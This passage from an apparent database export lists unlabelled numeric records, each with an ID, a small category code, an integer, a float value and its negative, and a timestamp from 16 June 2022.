12:44:53.41053+00 +37372,1,10995,13.7730758,-13.7730758,2022-06-16 12:45:02.410574+00 +32865,3,9981,7.854609349,-7.854609349,2022-06-16 12:20:30.807923+00 +37373,1,10971,6.881980075,-6.881980075,2022-06-16 12:45:02.411871+00 +32948,2,10287,6.184143272,-6.184143272,2022-06-16 12:21:05.291394+00 +37374,1,10979,21.15884908,-21.15884908,2022-06-16 12:45:02.41273+00 +52829,2,13662,7.400610181,-7.400610181,2022-06-16 14:07:05.459759+00 +46133,6,12459,3.192254062,-3.192254062,2022-06-16 13:30:24.641396+00 +46157,4,12435,6.521038172,-6.521038172,2022-06-16 13:30:29.924615+00 +35274,1,10584,8.882231549,-8.882231549,2022-06-16 12:33:08.379049+00 +35275,1,10616,8.014502652,-8.014502652,2022-06-16 12:33:08.382482+00 +35276,1,10645,13.61759657,-13.61759657,2022-06-16 12:33:08.38354+00 +35306,4,10602,8.344189133,-8.344189133,2022-06-16 12:33:25.912752+00 +49414,2,13040,1.817587795,0,2022-06-16 13:49:05.069479+00 +37612,6,11085,12.28445717,-12.28445717,2022-06-16 12:46:19.105532+00 +46349,6,12590,5.220757182,-5.220757182,2022-06-16 13:32:05.130397+00 +40273,6,11533,11.97538952,-11.97538952,2022-06-16 13:00:13.393875+00 +56831,2,14398,2.143417762,-2.143417762,2022-06-16 14:29:09.603284+00 +35509,6,10734,7.955388943,-7.955388943,2022-06-16 12:34:13.838375+00 +43540,2,12010,4.4506736,-4.4506736,2022-06-16 13:15:09.528048+00 +37866,1,11040,5.663401038,-5.663401038,2022-06-16 12:47:59.438535+00 +46558,2,12351,2.890260858,-2.890260858,2022-06-16 13:33:14.533326+00 +33631,6,10430,6.823256454,-6.823256454,2022-06-16 12:24:37.631824+00 +35625,2,10688,4.253777036,-4.253777036,2022-06-16 12:35:04.734319+00 +46559,2,12415,2.882579938,-2.882579938,2022-06-16 13:33:14.536921+00 +46560,2,12479,2.874925237,-2.874925237,2022-06-16 13:33:14.537918+00 +46561,2,12543,2.867296608,-2.867296608,2022-06-16 13:33:14.538788+00 +35718,2,10683,5.450134609,-5.450134609,2022-06-16 12:35:14.542922+00 +46562,2,12607,2.859693908,-2.859693908,2022-06-16 13:33:14.539609+00 +40662,6,11579,3.327888539,-3.327888539,2022-06-16 13:02:04.916149+00 +40695,3,11631,10.97244222,-10.97244222,2022-06-16 13:02:06.602994+00 +43933,2,12078,4.078336062,-4.078336062,2022-06-16 13:17:05.422509+00 +38255,3,11199,9.701494489,-9.701494489,2022-06-16 12:50:05.086895+00 +35866,2,10733,5.281655762,-5.281655762,2022-06-16 12:36:19.416733+00 +33935,6,10445,12.76665792,-12.76665792,2022-06-16 12:26:12.903319+00 +33963,4,10395,4.399367386,-4.399367386,2022-06-16 12:26:20.967548+00 +33964,4,10419,9.948352279,-9.948352279,2022-06-16 12:26:20.968829+00 +33965,4,10379,11.70309271,-11.70309271,2022-06-16 12:26:20.969681+00 +38352,1,11184,0.567197696,0,2022-06-16 12:50:32.44138+00 +33978,1,10392,9.080665001,-9.080665001,2022-06-16 12:26:29.298993+00 +33979,1,10416,0.621615415,0,2022-06-16 12:26:29.300311+00 +33980,1,10432,1.816639557,-1.816639557,2022-06-16 12:26:29.301177+00 +38353,1,11163,6.817103893,-6.817103893,2022-06-16 12:50:32.446024+00 +38354,1,11187,13.5151606,-13.5151606,2022-06-16 12:50:32.447083+00 +38355,1,11171,21.0615518,-21.0615518,2022-06-16 12:50:32.448004+00 +38356,1,11200,1.39301618,-1.39301618,2022-06-16 12:50:32.4488+00 +38357,1,11179,2.91263195,-2.91263195,2022-06-16 12:50:32.449574+00 +38358,1,11195,2.52472206,-2.52472206,2022-06-16 12:50:32.45044+00 +46731,3,12603,6.42863305,-6.42863305,2022-06-16 13:34:12.35285+00 +40914,2,11579,4.700919548,-4.700919548,2022-06-16 13:03:14.426851+00 +60520,2,14829,2.702465096,0,2022-06-16 14:44:24.440154+00 +36071,2,10794,5.753404239,-5.753404239,2022-06-16 12:37:31.29322+00 +46923,3,12656,2.637360859,0,2022-06-16 13:35:05.908309+00 +40995,3,11579,7.477992094,-7.477992094,2022-06-16 13:03:52.37191+00 +53500,1,13789,8.861232294,-8.861232294,2022-06-16 14:11:05.819714+00 +60824,4,14688,5.185882204,-5.185882204,2022-06-16 14:45:41.480138+00 +38706,6,11219,13.62557692,-13.62557692,2022-06-16 12:52:18.554194+00 +47162,6,12685,11.2928348,-11.2928348,2022-06-16 13:36:26.46873+00 +38734,4,11318,11.97010845,-11.97010845,2022-06-16 12:52:19.569092+00 +38760,1,11240,15.91482834,-15.91482834,2022-06-16 12:52:29.461152+00 +38765,3,11005,6.910660799,-6.910660799,2022-06-16 12:52:34.356518+00 +50174,2,12914,12.13902129,-12.13902129,2022-06-16 13:53:09.475764+00 +34375,6,10451,13.69608686,-13.69608686,2022-06-16 12:28:38.083841+00 +36231,1,10793,7.52466385,-7.52466385,2022-06-16 12:38:20.404076+00 +36232,1,10809,7.514337676,-7.514337676,2022-06-16 12:38:20.4072+00 +36233,1,10785,9.208786494,-9.208786494,2022-06-16 12:38:20.408015+00 +36234,1,10861,3.675036744,-3.675036744,2022-06-16 12:38:20.408744+00 +36235,1,10877,3.784952824,-3.784952824,2022-06-16 12:38:20.409486+00 +36236,1,10777,7.58425623,-7.58425623,2022-06-16 12:38:20.410251+00 +41224,6,11627,3.777128926,-3.777128926,2022-06-16 13:04:41.536962+00 +38797,1,11310,3.718461337,-3.718461337,2022-06-16 12:52:47.467293+00 +36261,3,10557,7.316217371,-7.316217371,2022-06-16 12:38:33.221187+00 +36271,6,10829,12.49758527,-12.49758527,2022-06-16 12:38:38.712423+00 +36276,6,10845,7.114252705,-7.114252705,2022-06-16 12:38:45.746063+00 +38798,1,11326,2.898271052,-2.898271052,2022-06-16 12:52:47.468501+00 +50175,2,12978,12.08997387,-12.08997387,2022-06-16 13:53:09.476529+00 +36289,6,10816,4.672483371,-4.672483371,2022-06-16 12:38:51.440334+00 +36293,4,10680,8.105563398,-8.105563398,2022-06-16 12:38:58.743106+00 +44608,6,12223,4.468919661,-4.468919661,2022-06-16 13:20:22.144643+00 +50176,2,13106,12.04119625,-12.04119625,2022-06-16 13:53:09.477445+00 +50177,2,13170,11.99268712,-11.99268712,2022-06-16 13:53:09.478139+00 +36309,2,10858,5.718982518,-5.718982518,2022-06-16 12:39:01.712404+00 +47332,1,12640,4.948279927,-4.948279927,2022-06-16 13:37:29.766644+00 +36318,2,10800,1.656008144,0,2022-06-16 12:39:04.564987+00 +57602,4,14464,1.071628647,-1.071628647,2022-06-16 14:32:08.99182+00 +60966,6,14907,1.489052355,0,2022-06-16 14:46:16.35159+00 +44920,2,12208,1.756631806,0,2022-06-16 13:23:04.874667+00 +36334,2,10863,5.356547136,-5.356547136,2022-06-16 12:39:04.966392+00 +44957,1,12271,3.442430464,-3.442430464,2022-06-16 13:23:05.657523+00 +44958,1,12287,2.67823649,-2.67823649,2022-06-16 13:23:05.661+00 +45025,6,12269,1.385324001,-1.385324001,2022-06-16 13:23:33.496062+00 +32049,6,10158,9.202674489,-9.202674489,2022-06-16 12:16:22.96567+00 +34561,6,10410,8.841338027,-8.841338027,2022-06-16 12:29:47.76923+00 +45750,3,12415,7.689847012,-7.689847012,2022-06-16 13:28:04.933035+00 +32378,3,10222,13.87276521,-13.87276521,2022-06-16 12:18:06.745686+00 +37174,3,11006,10.18917801,-10.18917801,2022-06-16 12:44:03.913109+00 +32461,6,10197,10.53040796,-10.53040796,2022-06-16 12:18:35.293471+00 +32518,6,10238,7.153897229,-7.153897229,2022-06-16 12:18:48.193391+00 +37175,3,11070,10.12234101,-10.12234101,2022-06-16 12:44:03.917913+00 +48982,1,12984,6.115472427,-6.115472427,2022-06-16 13:46:44.747049+00 +37243,4,10989,2.944600097,-2.944600097,2022-06-16 12:44:11.03226+00 +37244,4,11005,3.035487072,-3.035487072,2022-06-16 12:44:11.035794+00 +34925,3,10555,9.253070447,-9.253070447,2022-06-16 12:31:21.0909+00 +37245,4,10957,15.09213952,-15.09213952,2022-06-16 12:44:11.036646+00 +32824,6,10286,8.809901198,-8.809901198,2022-06-16 12:20:24.720695+00 +37246,4,10973,9.016980018,-9.016980018,2022-06-16 12:44:11.037452+00 +32866,3,9965,7.649035427,-7.649035427,2022-06-16 12:20:32.055895+00 +37247,4,11071,3.274891819,-3.274891819,2022-06-16 12:44:11.038195+00 +37248,4,11039,6.790480132,-6.790480132,2022-06-16 12:44:11.03907+00 +35114,1,10528,6.005985774,-6.005985774,2022-06-16 12:32:17.379573+00 +39941,6,11502,6.529542721,-6.529542721,2022-06-16 12:58:32.515772+00 +37402,2,11055,5.117437933,-5.117437933,2022-06-16 12:45:05.104171+00 +33114,3,10366,11.38011872,-11.38011872,2022-06-16 12:22:05.068786+00 +42894,3,11950,10.71745478,-10.71745478,2022-06-16 13:12:05.503886+00 +43102,2,11950,4.191444765,-4.191444765,2022-06-16 13:13:05.262422+00 +33293,2,10304,4.545571555,-4.545571555,2022-06-16 12:23:04.654193+00 +37613,4,11087,16.16777254,-16.16777254,2022-06-16 12:46:19.21605+00 +37669,4,11027,7.343992357,-7.343992357,2022-06-16 12:46:30.387077+00 +37690,3,10941,6.978796306,-6.978796306,2022-06-16 12:46:33.224464+00 +46350,3,12542,8.181959841,-8.181959841,2022-06-16 13:32:05.156643+00 +33551,2,10349,5.488902982,-5.488902982,2022-06-16 12:24:14.415344+00 +35627,2,10734,5.44579967,-5.44579967,2022-06-16 12:35:04.765579+00 +43477,1,11960,6.829330904,-6.829330904,2022-06-16 13:14:59.601486+00 +33637,6,10381,12.87132091,-12.87132091,2022-06-16 12:24:40.638419+00 +37952,4,11166,7.203090971,-7.203090971,2022-06-16 12:48:09.109338+00 +37953,4,11182,4.411318487,-4.411318487,2022-06-16 12:48:09.112719+00 +35720,4,10584,9.01744143,-9.01744143,2022-06-16 12:35:23.635466+00 +37954,4,11120,0.624399754,0,2022-06-16 12:48:09.113675+00 +37955,4,11134,3.411919734,-3.411919734,2022-06-16 12:48:09.114546+00 +33792,4,10232,8.360524497,-8.360524497,2022-06-16 12:25:39.741708+00 +37956,4,11198,3.403423954,-3.403423954,2022-06-16 12:48:09.115391+00 +37957,4,11136,1.553081947,-1.553081947,2022-06-16 12:48:09.116231+00 +37982,4,11095,14.77266986,-14.77266986,2022-06-16 12:48:19.024908+00 +37983,4,11159,14.71764098,-14.71764098,2022-06-16 12:48:19.026241+00 +37984,4,11190,12.05788298,-12.05788298,2022-06-16 12:48:19.027068+00 +35893,6,10731,4.515150489,-4.515150489,2022-06-16 12:36:26.561824+00 +35911,3,10493,7.377347449,-7.377347449,2022-06-16 12:36:32.9736+00 +33936,4,10463,6.952820171,-6.952820171,2022-06-16 12:26:13.497663+00 +33937,4,10479,5.02830899,-5.02830899,2022-06-16 12:26:13.501176+00 +33938,4,10495,3.877295096,-3.877295096,2022-06-16 12:26:13.502107+00 +33939,4,10389,12.70869588,-12.70869588,2022-06-16 12:26:13.502939+00 +33966,4,10427,1.896869675,-1.896869675,2022-06-16 12:26:22.213485+00 +33972,2,10429,5.632598527,-5.632598527,2022-06-16 12:26:24.439899+00 +33981,4,10387,7.569857113,-7.569857113,2022-06-16 12:26:29.33632+00 +33984,3,10157,7.471036038,-7.471036038,2022-06-16 12:26:32.854363+00 +34005,6,10463,10.81486169,-10.81486169,2022-06-16 12:26:55.184704+00 +60685,2,14894,1.590078414,-1.590078414,2022-06-16 14:45:05.726913+00 +38034,6,11157,9.03695385,-9.03695385,2022-06-16 12:48:42.547364+00 +34039,6,10432,5.064135332,-5.064135332,2022-06-16 12:26:58.009751+00 +46563,2,12267,4.745602215,-4.745602215,2022-06-16 13:33:19.332359+00 +34058,2,10416,1.629969867,0,2022-06-16 12:27:04.457876+00 +46564,2,12331,4.723314363,-4.723314363,2022-06-16 13:33:19.335718+00 +46565,2,12395,4.701145953,-4.701145953,2022-06-16 13:33:19.336551+00 +46566,2,12459,4.679095863,-4.679095863,2022-06-16 13:33:19.337314+00 +36005,2,10798,5.377573666,-5.377573666,2022-06-16 12:37:04.695414+00 +46567,2,12523,4.657162979,-4.657162979,2022-06-16 13:33:19.338104+00 +49701,6,13099,2.766445757,-2.766445757,2022-06-16 13:50:35.11323+00 +38293,6,11213,12.2214299,-12.2214299,2022-06-16 12:50:09.655256+00 +36047,4,10745,14.57317751,-14.57317751,2022-06-16 12:37:18.637429+00 +34183,7,10410,8.577109477,-8.577109477,2022-06-16 12:28:02.686346+00 +57249,6,14421,5.414258757,-5.414258757,2022-06-16 14:30:39.449875+00 +57326,1,14463,1.717138841,-1.717138841,2022-06-16 14:31:03.021409+00 +38429,2,11200,3.918587442,-3.918587442,2022-06-16 12:51:04.773108+00 +60825,4,14809,7.222601226,-7.222601226,2022-06-16 14:45:42.738954+00 +36116,3,10747,8.867757429,-8.867757429,2022-06-16 12:38:01.854576+00 +36117,3,10811,8.808099777,-8.808099777,2022-06-16 12:38:01.858259+00 +40971,1,11360,5.386458131,-5.386458131,2022-06-16 13:03:26.591807+00 +49980,3,13167,8.238427425,-8.238427425,2022-06-16 13:52:07.244715+00 +34323,6,10509,12.7313149,-12.7313149,2022-06-16 12:28:30.642112+00 +44241,6,12109,11.60227142,-11.60227142,2022-06-16 13:18:40.254708+00 +49981,3,13231,8.18606669,-8.18606669,2022-06-16 13:52:07.248346+00 +44293,1,12059,6.414247818,-6.414247818,2022-06-16 13:18:53.657933+00 +36172,4,10800,0.623790671,0,2022-06-16 12:38:09.19527+00 +36173,4,10816,1.662663657,-1.662663657,2022-06-16 12:38:09.196859+00 +36174,4,10878,3.746604481,-3.746604481,2022-06-16 12:38:09.197916+00 +36175,4,10862,4.80211744,-4.80211744,2022-06-16 12:38:09.199013+00 +41092,3,11694,11.24262807,-11.24262807,2022-06-16 13:04:07.689708+00 +44294,1,12083,12.74364131,-12.74364131,2022-06-16 13:18:53.661396+00 +36205,6,10862,7.740575642,-7.740575642,2022-06-16 12:38:19.871852+00 +44295,1,12117,12.31008728,-12.31008728,2022-06-16 13:18:53.662428+00 +44318,1,12060,13.68657681,-13.68657681,2022-06-16 13:18:59.62634+00 +36223,6,10878,6.163939772,-6.163939772,2022-06-16 12:38:20.163591+00 +41225,1,11710,2.673089839,-2.673089839,2022-06-16 13:04:41.565802+00 +36244,4,10803,9.810103274,-9.810103274,2022-06-16 12:38:21.136111+00 +36245,4,10779,4.455915716,-4.455915716,2022-06-16 12:38:21.139512+00 +36246,4,10763,12.28045962,-12.28045962,2022-06-16 12:38:21.140388+00 +36247,4,10795,1.985196956,-1.985196956,2022-06-16 12:38:21.141176+00 +36248,4,10811,1.714466655,-1.714466655,2022-06-16 12:38:21.141953+00 +36254,3,10880,6.363524347,-6.363524347,2022-06-16 12:38:24.515542+00 +36262,3,10541,7.110527986,-7.110527986,2022-06-16 12:38:34.424206+00 +36272,4,10592,6.106232147,-6.106232147,2022-06-16 12:38:42.958704+00 +36277,1,10776,8.737560017,-8.737560017,2022-06-16 12:38:47.434334+00 +38766,7,11114,7.62322235,-7.62322235,2022-06-16 12:52:34.846762+00 +41226,1,11694,3.420301697,-3.420301697,2022-06-16 13:04:41.570327+00 +44319,1,12092,13.65926416,-13.65926416,2022-06-16 13:18:59.627762+00 +44347,2,12127,8.27855158,-8.27855158,2022-06-16 13:19:09.739446+00 +36298,6,10771,13.79268024,-13.79268024,2022-06-16 12:39:00.682657+00 +37033,2,10991,5.184623551,-5.184623551,2022-06-16 12:43:05.143626+00 +37034,2,11006,4.051409292,-4.051409292,2022-06-16 12:43:05.146759+00 +39662,4,11377,13.82577234,-13.82577234,2022-06-16 12:57:09.111655+00 +45655,6,12399,5.461862439,-5.461862439,2022-06-16 13:27:16.187906+00 +52498,2,13554,11.44920424,-11.44920424,2022-06-16 14:05:09.503117+00 +39803,6,11517,1.948021124,-1.948021124,2022-06-16 12:58:04.205896+00 +48984,6,13013,6.905542194,-6.905542194,2022-06-16 13:46:47.152587+00 +37404,2,11070,3.97389023,-3.97389023,2022-06-16 12:45:05.133929+00 +39942,1,11417,6.871093558,-6.871093558,2022-06-16 12:58:32.542505+00 +39943,1,11449,6.780329702,-6.780329702,2022-06-16 12:58:32.545789+00 +39944,1,11433,6.774410347,-6.774410347,2022-06-16 12:58:32.546859+00 +32868,1,10235,3.568406314,-3.568406314,2022-06-16 12:20:38.272232+00 +35115,4,10647,14.99654072,-14.99654072,2022-06-16 12:32:19.169774+00 +35116,4,10639,16.39442992,-16.39442992,2022-06-16 12:32:19.173056+00 +35117,4,10678,12.05457463,-12.05457463,2022-06-16 12:32:19.17384+00 +39945,1,11517,3.320281063,-3.320281063,2022-06-16 12:58:32.547651+00 +35177,3,10349,7.290700638,-7.290700638,2022-06-16 12:32:33.705578+00 +39946,1,11501,3.212622574,-3.212622574,2022-06-16 12:58:32.54842+00 +35241,2,10654,7.904989588,-7.904989588,2022-06-16 12:33:04.78493+00 +33152,4,10288,0.636467109,0,2022-06-16 12:22:08.75824+00 +33153,4,10304,1.89393949,-1.89393949,2022-06-16 12:22:08.761552+00 +33154,4,10334,7.479666422,-7.479666422,2022-06-16 12:22:08.762429+00 +33155,4,10350,5.462551073,-5.462551073,2022-06-16 12:22:08.763346+00 +33156,4,10366,4.242513171,-4.242513171,2022-06-16 12:22:08.764118+00 +37740,2,11102,8.009647,-8.009647,2022-06-16 12:47:05.096767+00 +39947,1,11425,9.657539011,-9.657539011,2022-06-16 12:58:32.549177+00 +40075,2,11502,4.551233945,-4.551233945,2022-06-16 12:59:05.300087+00 +37868,6,11181,2.060109009,-2.060109009,2022-06-16 12:48:03.442168+00 +60176,2,14814,6.709433484,-6.709433484,2022-06-16 14:43:05.631548+00 +37950,1,11131,2.592049796,-2.592049796,2022-06-16 12:48:08.410987+00 +37951,1,11115,2.985814192,-2.985814192,2022-06-16 12:48:08.412447+00 +37961,1,11182,3.851086702,-3.851086702,2022-06-16 12:48:11.411036+00 +37962,1,11198,2.961033974,-2.961033974,2022-06-16 12:48:11.414492+00 +37980,1,11106,14.42154213,-14.42154213,2022-06-16 12:48:17.411105+00 +37981,1,11114,6.189035095,-6.189035095,2022-06-16 12:48:17.412923+00 +37995,4,11099,4.423693876,-4.423693876,2022-06-16 12:48:20.522682+00 +37996,4,11123,9.681069502,-9.681069502,2022-06-16 12:48:20.524088+00 +35692,6,10667,4.5882092,-4.5882092,2022-06-16 12:35:09.347298+00 +37997,4,11131,1.580206915,-1.580206915,2022-06-16 12:48:20.524924+00 +33725,2,10431,4.653464508,-4.653464508,2022-06-16 12:25:05.372712+00 +37998,4,11083,12.47246865,-12.47246865,2022-06-16 12:48:20.525757+00 +37999,4,11115,1.825640707,-1.825640707,2022-06-16 12:48:20.526603+00 +38011,1,11129,7.141337365,-7.141337365,2022-06-16 12:48:26.41174+00 +38012,1,11181,3.414364612,-3.414364612,2022-06-16 12:48:26.413026+00 +38013,1,11113,7.134889066,-7.134889066,2022-06-16 12:48:26.413693+00 +38014,1,11105,9.46704597,-9.46704597,2022-06-16 12:48:26.414343+00 +35871,6,10765,12.5192056,-12.5192056,2022-06-16 12:36:20.560061+00 +38015,1,11097,7.200474594,-7.200474594,2022-06-16 12:48:26.415014+00 +38016,1,11197,3.511570899,-3.511570899,2022-06-16 12:48:26.415705+00 +46136,6,12475,2.888839175,-2.888839175,2022-06-16 13:30:24.788425+00 +33974,6,10477,2.547019844,-2.547019844,2022-06-16 12:26:25.083497+00 +40222,3,11518,9.41948034,-9.41948034,2022-06-16 13:00:05.762873+00 +35978,3,10800,2.625278721,0,2022-06-16 12:36:56.247228+00 +35991,1,10712,8.764040606,-8.764040606,2022-06-16 12:36:59.403763+00 +40223,3,11582,9.35678518,-9.35678518,2022-06-16 13:00:05.766814+00 +36020,2,10814,4.205817704,-4.205817704,2022-06-16 12:37:05.089592+00 +46221,1,12443,6.254110779,-6.254110779,2022-06-16 13:30:53.711254+00 +46222,1,12243,9.178275793,-9.178275793,2022-06-16 13:30:53.714534+00 +46223,1,12435,9.14770885,-9.14770885,2022-06-16 13:30:53.715647+00 +38294,4,11263,3.059202404,-3.059202404,2022-06-16 12:50:11.892123+00 +38295,4,11181,2.768245135,-2.768245135,2022-06-16 12:50:11.8954+00 +34170,1,10400,6.030320468,-6.030320468,2022-06-16 12:27:29.299397+00 +38296,4,11165,8.803744218,-8.803744218,2022-06-16 12:50:11.896253+00 +38297,4,11149,14.85249109,-14.85249109,2022-06-16 12:50:11.897134+00 +36106,3,10731,9.962652727,-9.962652727,2022-06-16 12:38:01.109619+00 +36107,3,10795,9.896109459,-9.896109459,2022-06-16 12:38:01.113195+00 +38298,4,11197,2.835587216,-2.835587216,2022-06-16 12:50:11.897973+00 +38299,4,11247,3.947852081,-3.947852081,2022-06-16 12:50:11.898773+00 +38322,4,11223,14.66232663,-14.66232663,2022-06-16 12:50:19.371146+00 +34280,4,10511,16.6094075,-16.6094075,2022-06-16 12:28:18.377116+00 +38323,4,11151,15.95840712,-15.95840712,2022-06-16 12:50:19.372394+00 +38324,4,11254,11.96636373,-11.96636373,2022-06-16 12:50:19.37326+00 +34319,4,10510,17.65855504,-17.65855504,2022-06-16 12:28:29.001827+00 +34320,4,10518,15.89832551,-15.89832551,2022-06-16 12:28:29.003208+00 +34321,4,10451,7.502204355,-7.502204355,2022-06-16 12:28:29.004059+00 +34324,7,10474,8.537975378,-8.537975378,2022-06-16 12:28:31.636872+00 +36168,3,10863,12.66951777,-12.66951777,2022-06-16 12:38:05.951876+00 +34342,3,10221,7.388649175,-7.388649175,2022-06-16 12:28:33.058772+00 +46224,1,12179,9.117296896,-9.117296896,2022-06-16 13:30:53.716426+00 +46225,1,12451,20.42257885,-20.42257885,2022-06-16 13:30:53.717196+00 +34365,6,10559,6.35969626,-6.35969626,2022-06-16 12:28:33.878816+00 +46226,1,12371,9.05843244,-9.05843244,2022-06-16 13:30:53.717964+00 +34378,1,10490,15.8029904,-15.8029904,2022-06-16 12:28:38.310636+00 +34379,1,10474,7.762266844,-7.762266844,2022-06-16 12:28:38.311924+00 +34380,1,10466,15.64926759,-15.64926759,2022-06-16 12:28:38.312845+00 +34381,1,10458,15.71347622,-15.71347622,2022-06-16 12:28:38.313734+00 +36196,2,10797,5.241860556,-5.241860556,2022-06-16 12:38:19.447482+00 +46227,1,12444,13.16669702,-13.16669702,2022-06-16 13:30:53.71882+00 +38492,4,11161,13.55763101,-13.55763101,2022-06-16 12:51:10.131179+00 +38493,4,11185,14.19616042,-14.19616042,2022-06-16 12:51:10.134717+00 +36224,6,10863,7.412958172,-7.412958172,2022-06-16 12:38:20.190144+00 +46228,1,12307,9.028496687,-9.028496687,2022-06-16 13:30:53.719599+00 +38525,1,11104,5.592155912,-5.592155912,2022-06-16 12:51:26.475867+00 +38542,3,11195,8.101729162,-8.101729162,2022-06-16 12:51:43.272151+00 +36255,1,10794,6.964415769,-6.964415769,2022-06-16 12:38:26.404621+00 +36256,1,10778,15.02313538,-15.02313538,2022-06-16 12:38:26.408435+00 +36257,1,10786,14.9892351,-14.9892351,2022-06-16 12:38:26.409379+00 +36258,1,10810,15.05655543,-15.05655543,2022-06-16 12:38:26.410265+00 +36263,1,10800,0.601519592,0,2022-06-16 12:38:35.431913+00 +36264,1,10816,1.595590364,-1.595590364,2022-06-16 12:38:35.435155+00 +43791,6,11987,13.41143611,-13.41143611,2022-06-16 13:16:20.39964+00 +43807,1,12008,15.40523129,-15.40523129,2022-06-16 13:16:23.575245+00 +46229,1,12467,12.30522925,-12.30522925,2022-06-16 13:30:53.720269+00 +56834,2,14399,2.257521049,-2.257521049,2022-06-16 14:29:09.661291+00 +40815,6,11614,10.59962787,-10.59962787,2022-06-16 13:02:53.38297+00 +53091,2,13677,3.282671105,-3.282671105,2022-06-16 14:08:24.434582+00 +36303,6,10795,4.447186648,-4.447186648,2022-06-16 12:39:00.991778+00 +38768,6,11293,6.713008958,-6.713008958,2022-06-16 12:52:35.006053+00 +44076,3,12011,7.72599056,-7.72599056,2022-06-16 13:17:59.966104+00 +36323,2,10816,4.152932449,-4.152932449,2022-06-16 12:39:04.687986+00 +36327,2,10862,5.310506487,-5.310506487,2022-06-16 12:39:04.783544+00 +44121,3,12142,10.43384594,-10.43384594,2022-06-16 13:18:06.806558+00 +38834,2,11248,1.683010789,0,2022-06-16 12:53:04.723981+00 +44122,3,12143,9.996832732,-9.996832732,2022-06-16 13:18:06.810379+00 +32058,1,10112,1.933678224,-1.933678224,2022-06-16 12:16:23.240575+00 +32059,1,10096,0.645417888,0,2022-06-16 12:16:23.241778+00 +32060,6,10174,7.341398193,-7.341398193,2022-06-16 12:16:23.264433+00 +34484,2,10491,5.717320341,-5.717320341,2022-06-16 12:29:14.401741+00 +52499,4,13472,5.627127327,-5.627127327,2022-06-16 14:05:09.969358+00 +42745,2,11835,4.495568134,-4.495568134,2022-06-16 13:11:14.528771+00 +34680,4,10544,0.631419196,0,2022-06-16 12:30:08.446494+00 +34681,4,10560,1.774390338,-1.774390338,2022-06-16 12:30:08.449931+00 +32584,2,10238,4.697877816,-4.697877816,2022-06-16 12:19:05.38412+00 +34682,4,10558,4.053025438,-4.053025438,2022-06-16 12:30:08.450778+00 +34683,4,10542,5.1495031,-5.1495031,2022-06-16 12:30:08.45162+00 +34684,4,10606,5.134407674,-5.134407674,2022-06-16 12:30:08.452392+00 +34685,4,10590,7.346335029,-7.346335029,2022-06-16 12:30:08.45314+00 +42783,4,11768,7.784409842,-7.784409842,2022-06-16 13:11:32.895189+00 +45877,6,12463,5.406344057,-5.406344057,2022-06-16 13:28:48.587191+00 +32869,1,10270,6.913626647,-6.913626647,2022-06-16 12:20:44.270633+00 +32870,1,10262,15.26626021,-15.26626021,2022-06-16 12:20:44.273896+00 +32871,1,10303,4.118970723,-4.118970723,2022-06-16 12:20:44.27472+00 +32872,1,10302,3.972765171,-3.972765171,2022-06-16 12:20:44.27548+00 +32873,1,10271,7.092678076,-7.092678076,2022-06-16 12:20:44.276222+00 +32874,1,10286,5.080603338,-5.080603338,2022-06-16 12:20:44.276937+00 +32875,1,10287,5.321203046,-5.321203046,2022-06-16 12:20:44.277678+00 +32876,1,10294,11.24923664,-11.24923664,2022-06-16 12:20:44.278311+00 +49225,3,13038,9.345721597,-9.345721597,2022-06-16 13:48:06.650723+00 +49226,3,13102,9.280507488,-9.280507488,2022-06-16 13:48:06.654402+00 +46230,1,12440,7.101741906,-7.101741906,2022-06-16 13:30:59.710369+00 +46231,1,12510,6.08190878,-6.08190878,2022-06-16 13:30:59.713785+00 +40333,6,11567,6.331988815,-6.331988815,2022-06-16 13:00:21.672526+00 +40359,1,11498,5.376597471,-5.376597471,2022-06-16 13:00:26.514317+00 +33204,6,10288,1.839464069,0,2022-06-16 12:22:15.983316+00 +35154,6,10624,4.840283472,-4.840283472,2022-06-16 12:32:28.363602+00 +40360,1,11490,13.57115511,-13.57115511,2022-06-16 13:00:26.515696+00 +33296,2,10334,7.976339358,-7.976339358,2022-06-16 12:23:04.703993+00 +40361,1,11482,13.3557159,-13.3557159,2022-06-16 13:00:26.516668+00 +40362,1,11514,13.54327119,-13.54327119,2022-06-16 13:00:26.517452+00 +37963,4,11135,3.163317398,-3.163317398,2022-06-16 12:48:12.486411+00 +37964,4,11199,3.156036943,-3.156036943,2022-06-16 12:48:12.489871+00 +37965,4,11183,4.03807924,-4.03807924,2022-06-16 12:48:12.490897+00 +37966,4,11103,6.752359394,-6.752359394,2022-06-16 12:48:12.49176+00 +37967,4,11167,6.731592709,-6.731592709,2022-06-16 12:48:12.492647+00 +37968,4,10901,11.45626361,-11.45626361,2022-06-16 12:48:12.493477+00 +37969,4,10965,11.41323074,-11.41323074,2022-06-16 12:48:12.494336+00 +33586,1,10415,5.188761594,-5.188761594,2022-06-16 12:24:23.323044+00 +33587,1,10399,7.065851442,-7.065851442,2022-06-16 12:24:23.326725+00 +33588,1,10414,4.916541621,-4.916541621,2022-06-16 12:24:23.327612+00 +33589,1,10431,4.00573441,-4.00573441,2022-06-16 12:24:23.328367+00 +33590,1,10390,15.15939113,-15.15939113,2022-06-16 12:24:23.329088+00 +33591,1,10430,3.806351973,-3.806351973,2022-06-16 12:24:23.329861+00 +33592,1,10398,6.814597567,-6.814597567,2022-06-16 12:24:23.330628+00 +33593,1,10367,3.995278576,-3.995278576,2022-06-16 12:24:23.331266+00 +33594,1,10422,11.14909781,-11.14909781,2022-06-16 12:24:23.33186+00 +33606,4,10323,7.640977709,-7.640977709,2022-06-16 12:24:28.399149+00 +38036,6,11165,6.844162897,-6.844162897,2022-06-16 12:48:44.49382+00 +33639,6,10389,10.11445224,-10.11445224,2022-06-16 12:24:45.632892+00 +35546,2,10669,5.278188642,-5.278188642,2022-06-16 12:34:24.460395+00 +35569,3,10413,7.220072181,-7.220072181,2022-06-16 12:34:33.974468+00 +40370,4,11475,7.085764825,-7.085764825,2022-06-16 13:00:29.586508+00 +40371,4,11534,17.77743537,-17.77743537,2022-06-16 13:00:29.587722+00 +40372,4,11542,15.38150349,-15.38150349,2022-06-16 13:00:29.588445+00 +40384,1,11520,1.248309699,-1.248309699,2022-06-16 13:00:35.514424+00 +38226,3,11184,2.653621328,0,2022-06-16 12:49:55.813889+00 +40385,1,11504,0.547201573,0,2022-06-16 13:00:35.515567+00 +38300,4,11255,11.51386351,-11.51386351,2022-06-16 12:50:13.699582+00 +38301,4,11093,11.29664298,-11.29664298,2022-06-16 12:50:13.70295+00 +38302,4,11157,11.25448309,-11.25448309,2022-06-16 12:50:13.703834+00 +38351,4,11155,7.275890476,-7.275890476,2022-06-16 12:50:29.725967+00 +33910,3,10416,2.65120684,0,2022-06-16 12:26:05.938687+00 